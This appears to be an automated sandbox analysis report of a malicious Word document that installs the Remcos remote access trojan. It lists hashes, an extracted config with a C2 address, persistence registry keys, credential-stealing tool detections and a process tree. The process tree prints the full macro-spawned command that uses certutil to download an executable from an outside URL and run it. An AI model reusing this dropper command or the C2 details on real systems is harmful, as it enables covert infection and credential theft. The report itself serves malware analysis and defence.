remcos | 3b44d9aa4abd608f2dd1ec103d734c6402d3cb751dc2f38a46dc682aaa05a6bb

Analysis

max time kernel
170s
max time network
172s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
03-10-2022 07:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ORDER 075098.doc
Size

76KB
MD5

5b112030e331fc27826d844da94384c1
SHA1

345f750a8d23419c626363783a5c97642bbd61c1
SHA256

3b44d9aa4abd608f2dd1ec103d734c6402d3cb751dc2f38a46dc682aaa05a6bb
SHA512

44dd55eb3320996e144e57aa9c5a932b90cb6e05ab83e8a7cb46555cc2753a61352d4b9cddc3c3a3292c6d93d6975f7bccb50e35abde1bb0eef66ad5d4b59b9e
SSDEEP

768:IfCXf5zSe/q6s34bPX0sx8bP55lwNEF2KznO:IfCXf9SEqEXxOTdF9

Score

10^/10

remcos remotehost collection persistence rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

37.0.14.206:6081

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
true
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-04LFTW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2020	1584	cmd.exe	WINWORD.EXE

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 2 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral1/memory/1924-146-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView
behavioral1/memory/1924-149-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral1/memory/1824-145-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral1/memory/1824-147-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 5 IoCs

Processes:

resource	yara_rule
behavioral1/memory/996-144-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/1824-145-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/1924-146-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft
behavioral1/memory/1824-147-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/1924-149-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft

Downloads MZ/PE file
Executes dropped EXE 7 IoCs

Processes:

bin.exebin.exeremcos.exeremcos.exeremcos.exeremcos.exeremcos.exe

pid process

1596 bin.exe
1956 bin.exe
2020 remcos.exe
964 remcos.exe
1824 remcos.exe
1924 remcos.exe
996 remcos.exe
Loads dropped DLL 3 IoCs

Processes:

cmd.exebin.execmd.exe

pid process

300 cmd.exe
1596 bin.exe
1736 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1596	bin.exe
1956	bin.exe
2020	remcos.exe
964	remcos.exe
1824	remcos.exe
1924	remcos.exe
996	remcos.exe

pid	process
300	cmd.exe
1596	bin.exe
1736	cmd.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

remcos.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	remcos.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

bin.exeremcos.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\Remcos = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	bin.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\	bin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Remcos = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	bin.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\	remcos.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\Remcos = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	remcos.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\	remcos.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Remcos = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	remcos.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\	bin.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

bin.exeremcos.exeremcos.exe

description	pid	process	target process
PID 1596 set thread context of 1956	1596	bin.exe	bin.exe
PID 2020 set thread context of 964	2020	remcos.exe	remcos.exe
PID 964 set thread context of 1824	964	remcos.exe	remcos.exe
PID 964 set thread context of 1924	964	remcos.exe	remcos.exe
PID 964 set thread context of 996	964	remcos.exe	remcos.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1516 schtasks.exe
1560 schtasks.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1984 timeout.exe
1160 timeout.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
1516	schtasks.exe
1560	schtasks.exe

pid	process
1984	timeout.exe
1160	timeout.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1584 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

bin.exeremcos.exeremcos.exe

pid process

1596 bin.exe
2020 remcos.exe
1824 remcos.exe
1824 remcos.exe
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

remcos.exe

pid process

964 remcos.exe
964 remcos.exe
964 remcos.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

bin.exeremcos.exeremcos.exe

description pid process

Token: SeDebugPrivilege 1596 bin.exe
Token: SeDebugPrivilege 2020 remcos.exe
Token: SeDebugPrivilege 996 remcos.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

WINWORD.EXEremcos.exe

pid process

1584 WINWORD.EXE
1584 WINWORD.EXE
964 remcos.exe

pid	process
1584	WINWORD.EXE

pid	process
1596	bin.exe
2020	remcos.exe
1824	remcos.exe
1824	remcos.exe

pid	process
964	remcos.exe
964	remcos.exe
964	remcos.exe

description	pid	process
Token: SeDebugPrivilege	1596	bin.exe
Token: SeDebugPrivilege	2020	remcos.exe
Token: SeDebugPrivilege	996	remcos.exe

pid	process
1584	WINWORD.EXE
1584	WINWORD.EXE
964	remcos.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WINWORD.EXEcmd.exeWScript.execmd.execmd.exebin.exebin.exeWScript.execmd.exe

description	pid	process	target process
PID 1584 wrote to memory of 2020	1584	WINWORD.EXE	cmd.exe
PID 1584 wrote to memory of 2020	1584	WINWORD.EXE	cmd.exe
PID 1584 wrote to memory of 2020	1584	WINWORD.EXE	cmd.exe
PID 1584 wrote to memory of 2020	1584	WINWORD.EXE	cmd.exe
PID 2020 wrote to memory of 1984	2020	cmd.exe	timeout.exe
PID 2020 wrote to memory of 1984	2020	cmd.exe	timeout.exe
PID 2020 wrote to memory of 1984	2020	cmd.exe	timeout.exe
PID 2020 wrote to memory of 1984	2020	cmd.exe	timeout.exe
PID 2020 wrote to memory of 856	2020	cmd.exe	WScript.exe
PID 2020 wrote to memory of 856	2020	cmd.exe	WScript.exe
PID 2020 wrote to memory of 856	2020	cmd.exe	WScript.exe
PID 2020 wrote to memory of 856	2020	cmd.exe	WScript.exe
PID 2020 wrote to memory of 1160	2020	cmd.exe	timeout.exe
PID 2020 wrote to memory of 1160	2020	cmd.exe	timeout.exe
PID 2020 wrote to memory of 1160	2020	cmd.exe	timeout.exe
PID 2020 wrote to memory of 1160	2020	cmd.exe	timeout.exe
PID 856 wrote to memory of 704	856	WScript.exe	cmd.exe
PID 856 wrote to memory of 704	856	WScript.exe	cmd.exe
PID 856 wrote to memory of 704	856	WScript.exe	cmd.exe
PID 856 wrote to memory of 704	856	WScript.exe	cmd.exe
PID 704 wrote to memory of 1356	704	cmd.exe	certutil.exe
PID 704 wrote to memory of 1356	704	cmd.exe	certutil.exe
PID 704 wrote to memory of 1356	704	cmd.exe	certutil.exe
PID 704 wrote to memory of 1356	704	cmd.exe	certutil.exe
PID 856 wrote to memory of 300	856	WScript.exe	cmd.exe
PID 856 wrote to memory of 300	856	WScript.exe	cmd.exe
PID 856 wrote to memory of 300	856	WScript.exe	cmd.exe
PID 856 wrote to memory of 300	856	WScript.exe	cmd.exe
PID 300 wrote to memory of 1596	300	cmd.exe	bin.exe
PID 300 wrote to memory of 1596	300	cmd.exe	bin.exe
PID 300 wrote to memory of 1596	300	cmd.exe	bin.exe
PID 300 wrote to memory of 1596	300	cmd.exe	bin.exe
PID 1584 wrote to memory of 828	1584	WINWORD.EXE	splwow64.exe
PID 1584 wrote to memory of 828	1584	WINWORD.EXE	splwow64.exe
PID 1584 wrote to memory of 828	1584	WINWORD.EXE	splwow64.exe
PID 1584 wrote to memory of 828	1584	WINWORD.EXE	splwow64.exe
PID 1596 wrote to memory of 1516	1596	bin.exe	schtasks.exe
PID 1596 wrote to memory of 1516	1596	bin.exe	schtasks.exe
PID 1596 wrote to memory of 1516	1596	bin.exe	schtasks.exe
PID 1596 wrote to memory of 1516	1596	bin.exe	schtasks.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1596 wrote to memory of 1956	1596	bin.exe	bin.exe
PID 1956 wrote to memory of 1100	1956	bin.exe	WScript.exe
PID 1956 wrote to memory of 1100	1956	bin.exe	WScript.exe
PID 1956 wrote to memory of 1100	1956	bin.exe	WScript.exe
PID 1956 wrote to memory of 1100	1956	bin.exe	WScript.exe
PID 1100 wrote to memory of 1736	1100	WScript.exe	cmd.exe
PID 1100 wrote to memory of 1736	1100	WScript.exe	cmd.exe
PID 1100 wrote to memory of 1736	1100	WScript.exe	cmd.exe
PID 1100 wrote to memory of 1736	1100	WScript.exe	cmd.exe
PID 1736 wrote to memory of 2020	1736	cmd.exe	remcos.exe
PID 1736 wrote to memory of 2020	1736	cmd.exe	remcos.exe
PID 1736 wrote to memory of 2020	1736	cmd.exe	remcos.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ORDER 075098.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1584

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c echo CreateObject("WScript.Shell").Run "cmd.exe /c certutil.exe -urlcache -split -f " + "https://justclickam.com/dxll/ORDER%20075098.exe" + " " + "%temp%\bin.exe", 0, True > %temp%\script.vbs && echo CreateObject("WScript.Shell").Run "cmd.exe /c %temp%\bin.exe", 0, True >> %temp%\script.vbs && timeout 3 && start %temp%\script.vbs && timeout 3 && del %temp%\script.vbs
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2020

C:\Windows\SysWOW64\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:1984

C:\Windows\SysWOW64\WScript.exe
